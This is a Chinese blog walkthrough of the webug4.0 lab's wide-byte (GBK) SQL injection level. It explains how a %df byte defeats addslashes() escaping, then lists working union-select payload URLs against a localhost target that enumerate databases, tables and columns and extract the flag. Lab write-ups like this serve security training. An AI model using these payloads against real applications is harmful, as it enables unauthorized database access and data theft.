webug4.0宽字节注入-6

0x00  前言

GBK是一种多字符编码,一个汉字占2个字节,utf-8编码的汉字占3个字节。

addslashes() 函数会对括号里  (') 、(")、 (\)、 (NULL)、的四个字符添加反斜杠并将其返回。

Mysql有一个特性,在进行GBK编码时会将两个字符认为一个汉字(前提是第一个字符的ASCII大于128才能达到汉字范围)。

如果SQL输入经过了addslashes() 函数处理,我们输入' 时 会变成 \’。一般绕过的方法有两种

1. 将 \' 前面的 斜杠 进行转义 \\' 这样单引号就能绕过,逃逸出来

2. 想办法去掉前面的\ 

 

0x01  实践1

看到网址尝试在后面添加单引号,但是页面并没有什么变化,因为已经知道是宽字节注入,所以添加%df'

页面报错了:

可以看到单引号 ' 变成了 \'   %df没有显示出来,但我们知道%df转化成10进制是223 大于128,与后面反斜杠 \  的16进制%5c 合成一个汉字,使得单引号逃逸出来。这也是上面说的第2个方法。

0x02  实践2

我们再添加 %df\'   会变成 %df5c5c5c27  %df5c 会组成一个汉字 而%5c5c会进行转义 后面的单引号逃逸

我们再添加 %dfdf' 会变成 %dfdf5c27   %dfdf 会组成一个汉字(至少是个宽字节) 而%5c与%27依旧是 \'

0x03  注入

剩下过程与前面几关类似

接下来判断字段数  判断结果为2

http://localhost/control/sqlinject/width_byte_injection.php?id=1%df' order by 2--+

爆出数据库名字

http://localhost/control/sqlinject/width_byte_injection.php?id=-1%df' union select 1,schema_name from information_schema.schemata --+

数据库名字:information_schema,challenges,mysql,performance_schema,security,test,webug,webug_sys,webug_width_byte

爆数据库webug下的表

http://localhost/control/sqlinject/width_byte_injection.php?id=-1%df' union select 1,table_name from information_schema.tables where table_schema=0x7765627567--+

webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test

爆env_list的列

http://localhost/control/sqlinject/width_byte_injection.php?id=-1%df' union select 1,column_name from information_schema.columns where table_name=0x656e765f6c697374--+

env_list的表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

爆本题flag

http://localhost/control/sqlinject/width_byte_injection.php?id=-1%df' union select 1,envFlag from webug.env_list where id=6 --+

flag:dfsadfsadfas

 

 

 


转载记得标明来源:https://www.cnblogs.com/yuuki-aptx/

 

posted @ 2019-03-17 19:03  你认识小哀吗  阅读(980)  评论(0编辑  收藏  举报